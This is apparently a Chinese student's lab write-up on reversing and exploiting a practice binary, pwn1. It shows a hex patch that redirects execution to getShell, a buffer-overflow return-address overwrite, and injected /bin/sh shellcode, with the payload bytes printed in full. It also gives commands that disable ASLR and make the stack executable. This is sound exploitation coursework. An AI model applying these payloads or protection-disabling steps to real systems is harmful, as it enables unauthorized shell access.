网络对抗第一次实验——PC平台逆向破解(5)M
网络对抗第一次实验——PC平台逆向破解(5)M
实践一
手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数。
操作步骤:
-
获取实验用文件pwn1,复制,复制出来的文件改名为20155223。
-
以文本文件形式打开可执行文件20155223。
-
输入指令!xxd将文本以16进制显示。
-
寻找目标:/e8d7将d7更改为c3.
-
输入指令!xxd -r将16进制文本文件转换回原来的版本,保存后退出。
-
在终端输入命令行:objdump -d 2015523 | more,反汇编刚才被修改后的文件。
的确有变化,函数的返回地址改了。
实践二
利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数。
使用文件是原来的pwn1文件。
想要知道怎么样才能将覆盖到返回地址来触发getShell函数,首先要构造一条无序字节输入,然后通过反汇编来找异常地点。
- 使用gdb打开文件pwn1,输入r让其运行,然后输入“1111111122222222333333334444444420155223”。
- 输入命令info r,查看寄存器部分。
发现寄存器eip存储的字符为0x35303132,可以肯定eip寄存器存的是“5102”,这就肯定输入的结构要按eip的方式来构建。
- 建造输入perl -e 'print "00000000000000000000000000000000\x7d\x84\x04\x08\x0a"' > input,,输入xxd input查看输入的16进制格式,执行程序。
实践三
注入一个自己制作的shellcode并运行这段shellcode。
shellcode为linux格式下的机器码。
-
首先使用apt-get install execstack命令安装execstack。
-
进行以下操作为实验3做准备。
execstack -s pwn20155233 //设置堆栈可执行
execstack -q pwn20155233 //查询文件的堆栈是否可执行
more /proc/sys/kernel/randomize_va_space
echo "0" > /proc/sys/kernel/randomize_va_space //关闭地址随机化
more /proc/sys/kernel/randomize_va_space -
构造输入。
-
再打开另一个终端,输入ps -ef | grep pwn1。之前打开的中断输入命令(cat input_shellcode;cat) | ./pwn1。
-
然后我们来设置断点,首先输入disassemble foo,查看foo的栈地址,然后选择设置断点,break 0x080484ae。
经过一番查找,发现16进制0x90909090,即发现存储地址0xffffd2b0*。
-
修改输入:perl -e 'print "A" x 32;print "\xb0\xd2\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_shellcode
-
执行命令:(cat input_shellcode;pwn1) | ./pwn1。
不知道我为什么会出现这样的结果。尽管底下出现的不是“段错误”,但是为什么会是“非法命令”。